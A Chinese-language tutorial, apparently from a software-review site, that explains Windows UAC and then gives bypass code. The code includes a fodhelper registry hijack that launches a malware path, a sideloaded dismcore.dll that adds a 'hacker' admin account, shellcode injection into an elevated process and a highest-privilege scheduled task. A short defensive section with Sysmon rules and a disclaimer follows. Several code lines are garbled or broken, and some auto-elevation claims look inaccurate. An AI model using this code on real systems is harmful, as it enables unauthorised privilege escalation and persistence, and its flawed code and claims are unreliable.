一、UAC机制核心原理
1.1 UAC工作流程
Windows用户账户控制(UAC)通过完整性级别(Integrity Level)进行权限管控,关键流程如下:
-
进程创建时默认分配中完整性级别(Medium IL)
-
需要管理员权限时触发UAC弹窗
-
通过后进程提升到高完整性级别(High IL)
1.2 白名单自动提升机制
满足以下条件之一的可执行文件将自动提权(不触发UAC弹窗):
-
系统关键进程:位于
%SystemRoot%\System32
且带有微软数字签名 -
清单声明:嵌入
requestedExecutionLevel
为requireAdministrator
-
安装程序检测:文件名包含"install"/"setup"等关键字
-
COM对象提升:注册表
HKCU\Software\Classes\CLSID
中配置AutoElevate
1.3 关键系统组件
// 检查进程权限提升状态 BOOL IsElevated() { HANDLE hToken; OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken); TOKEN_ELEVATION elevation; GetTokenInformation(hToken, TokenElevation, &elevation, sizeof(elevation), NULL); return elevation.TokenIsElevated; } // 检查文件数字签名状态 bool VerifyMicrosoftSignature(LPCWSTR filePath) { WINTRUST_FILE_INFO fileData = { sizeof(fileData) }; fileData.pcwszFilePath = filePath; WINTRUST_DATA trustData = { sizeof(trustData) }; trustData.dwUIChoice = WTD_UI_NONE; trustData.fdwRevocationChecks = WTD_REVOKE_NONE; trustData.dwUnionChoice = WTD_CHOICE_FILE; trustData.pFile = &fileData; return WinVerifyTrust(NULL, &WINTRUST_ACTION_GENERIC_VERIFY_V2, &trustData) == S_OK; }
二、UAC白名单挖掘技术
2.1 自动提权程序扫描
2.1.1 系统目录扫描脚本(PowerShell)
$whiteList = @() Get-ChildItem "$env:SystemRoot\System32\*.exe" | ForEach-Object { $manifest = [xml](mt -executionpolicy bypass -Command "Get-Content $($_.FullName) -Raw | Select-String '(?s)<trustInfo>.*</trustInfo>'") if ($manifest.trustInfo.security.requestedPrivileges.requestedExecutionLevel.level -eq "requireAdministrator") { $whiteList += $_.Name } } $whiteList | Out-File "AutoElevateList.txt"
2.1.2 注册表自动提权项检测
void CheckCOMAutoElevate() { HKEY hKey; RegOpenKeyEx(HKEY_CURRENT_USER, L"Software\\Classes\\CLSID", 0, KEY_READ, &hKey); DWORD index = 0; WCHAR clsid[40]; while (RegEnumKey(hKey, index++, clsid, 40) == ERROR_SUCCESS) { HKEY hSubKey; if (RegOpenKeyEx(hKey, (std::wstring(clsid) + L"\\Elevation").c_str(), 0, KEY_READ, &hSubKey) == ERROR_SUCCESS) { DWORD autoElevate = 0; DWORD size = sizeof(DWORD); if (RegQueryValueEx(hSubKey, L"AutoElevate", NULL, NULL, (LPBYTE)&autoElevate, &size) == ERROR_SUCCESS && autoElevate) { // 发现可自动提权的COM组件 } RegCloseKey(hSubKey); } } RegCloseKey(hKey); }
三、经典UAC绕过技术
3.1 白名单程序劫持(以FodHelper为例)
3.1.1 注册表劫持实现
// 创建恶意注册表项 void ModifyRegistry() { HKEY hKey; RegCreateKeyEx(HKEY_CURRENT_USER, L"Software\\Classes\\ms-settings\\shell\\open\\command", 0, NULL, 0, KEY_WRITE, NULL, &hKey, NULL); // 设置恶意程序路径 WCHAR cmd[] = L"cmd.exe /c start C:\\malware.exe"; RegSetValueEx(hKey, L"", 0, REG_SZ, (BYTE*)cmd, sizeof(cmd)); RegCloseKey(hKey); } // 触发白名单程序执行 void TriggerUACBypass() { ShellExecute(NULL, L"open", L"fodhelper.exe", NULL, NULL, SW_HIDE); }
3.1.2 实现原理分析
-
fodhelper.exe
会尝试打开ms-settings
协议 -
劫持当前用户的协议处理程序指向恶意命令
-
利用白名单程序的自动提权执行恶意代码
3.2 DLL侧加载技术
// 构造恶意dismcore.dll extern "C" __declspec(dllexport) void DllRegisterServer() { WinExec("cmd.exe /c net user hacker P@ssw0rd /add", SW_HIDE); } // 劫持系统程序调用链 void HijackComponent() { // 将恶意DLL放入%SystemRoot%\System32\Dism\ CopyFile(L"malware.dll", L"C:\\Windows\\System32\\Dism\\dismcore.dll", FALSE); // 触发可信程序执行 system("dism /online /cleanup-image /restorehealth"); }
四、高级绕过技术
4.1 内存注入+COM劫持
// 查找可自动提权的COM进程 DWORD FindAutoElevateProcess() { PROCESSENTRY32 pe32; pe32.dwSize = sizeof(PROCESSENTRY32); HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (Process32First(hSnapshot, &pe32)) { do { if (IsMicrosoftSigned(pe32.szExeFile) { HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pe32.th32ProcessID); if (IsElevated(hProcess)) { CloseHandle(hProcess); return pe32.th32ProcessID; } } } while (Process32Next(hSnapshot, &pe32)); } return 0; } // 向高权限进程注入代码 void InjectToTrustedProcess(DWORD pid) { HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); LPVOID pMem = VirtualAllocEx(hProcess, NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE); WriteProcessMemory(hProcess, pMem, shellcode, sizeof(shellcode), NULL); CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pMem, NULL, 0, NULL); }
4.2 基于任务计划的绕过
// 创建特权任务 void CreateMaliciousTask() { ITaskService* pService = NULL; CoCreateInstance(CLSID_TaskScheduler, NULL, CLSCTX_INPROC_SERVER, IID_ITaskService, (void**)&pService); pService->Connect(_variant_t(), _variant_t(), _variant_t(), _variant_t()); ITaskFolder* pRoot = NULL; pService->GetFolder(_bstr_t(L"\\"), &pRoot); ITaskDefinition* pTask = NULL; pService->NewTask(0, &pTask); // 配置任务使用最高权限 IPrincipal* pPrincipal = NULL; pTask->get_Principal(&pPrincipal); pPrincipal->put_RunLevel(TASK_RUNLEVEL_HIGHEST); // 设置触发条件 ITriggerCollection* pTriggers = NULL; pTask->get_Triggers(&pTriggers); ITrigger* pTrigger = NULL; pTriggers->Create(TASK_TRIGGER_REGISTRATION, &pTrigger); // 注册任务 IRegisteredTask* pRegisteredTask = NULL; pRoot->RegisterTaskDefinition(_bstr_t(L"MalTask"), pTask, TASK_CREATE, _variant_t(), _variant_t(), TASK_LOGON_INTERACTIVE_TOKEN, _variant_t(), &pRegisteredTask); }
五、防御与检测方案
5.1 系统加固配置
5.1.1 UAC策略优化(组策略)
-
启用"用户账户控制:仅提升已签名验证的可执行文件"
-
配置"用户账户控制:管理员审批模式中管理员的提升权限提示行为"为提示凭据
5.1.2 注册表保护
# 保护协议处理程序注册表项 Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings" -Name "LegacyDisable" -Type DWord -Value 1 Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings" -Name "EditFlags" -Type DWord -Value 0x00010000
5.2 实时监控策略
5.2.1 进程行为分析(Sysmon配置)
<RuleGroup name="UAC Bypass Detection"> <ProcessCreate onmatch="include"> <ParentImage condition="end with">fodhelper.exe</ParentImage> <CommandLine condition="contains">ms-settings</CommandLine> </ProcessCreate> <FileCreate onmatch="include"> <TargetFilename condition="contains">Dism\\dismcore.dll</TargetFilename> </FileCreate> </RuleGroup>
5.2.2 内存特征检测
bool CheckForUACBypass(HANDLE hProcess) { HMODULE hMods[1024]; DWORD cbNeeded; if (EnumProcessModules(hProcess, hMods, sizeof(hMods), &cbNeeded)) { for (int i = 0; i < (cbNeeded / sizeof(HMODULE)); i++) { WCHAR szModName[MAX_PATH]; GetModuleFileNameEx(hProcess, hMods[i], szModName, MAX_PATH); // 检测非常规路径模块 if (wcsstr(szModName, L"AppData\\Local\\Temp") != NULL) { return true; } } } return false; }
六、技术演进方向
6.1 新型绕过技术
-
虚拟化技术滥用:
-
利用Windows Sandbox执行恶意代码
-
通过WSL子系统绕过权限检查
-
-
硬件辅助攻击:
-
基于Intel SGX的安全区隐藏恶意代码
-
使用GPU内存存储关键载荷
-
-
AI对抗技术:
-
生成对抗网络(GAN)产生免杀载荷
-
强化学习优化绕过策略
-
6.2 防御体系演进
-
硬件可信根验证:基于TPM 2.0的启动链验证
-
行为基线分析:建立进程调用关系图谱
-
零信任架构:强制所有提权操作二次认证
七、法律与伦理声明
-
本文所述技术仅限用于授权安全测试和防御研究
-
实际使用需遵守《网络安全法》及《个人信息保护法》相关规定
-
禁止将技术用于非法渗透或破坏活动
通过深入分析UAC机制的设计缺陷,攻击者可构造出多种隐蔽的权限提升通道。现代安全防护需要结合行为分析、内存保护和硬件特性,构建多层次的防御体系。防御者应重点关注:
-
系统关键路径的完整性监控
-
异常进程间通信行为
-
非常规的权限提升模式
-
注册表敏感项的变更审计
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。
本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!
程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)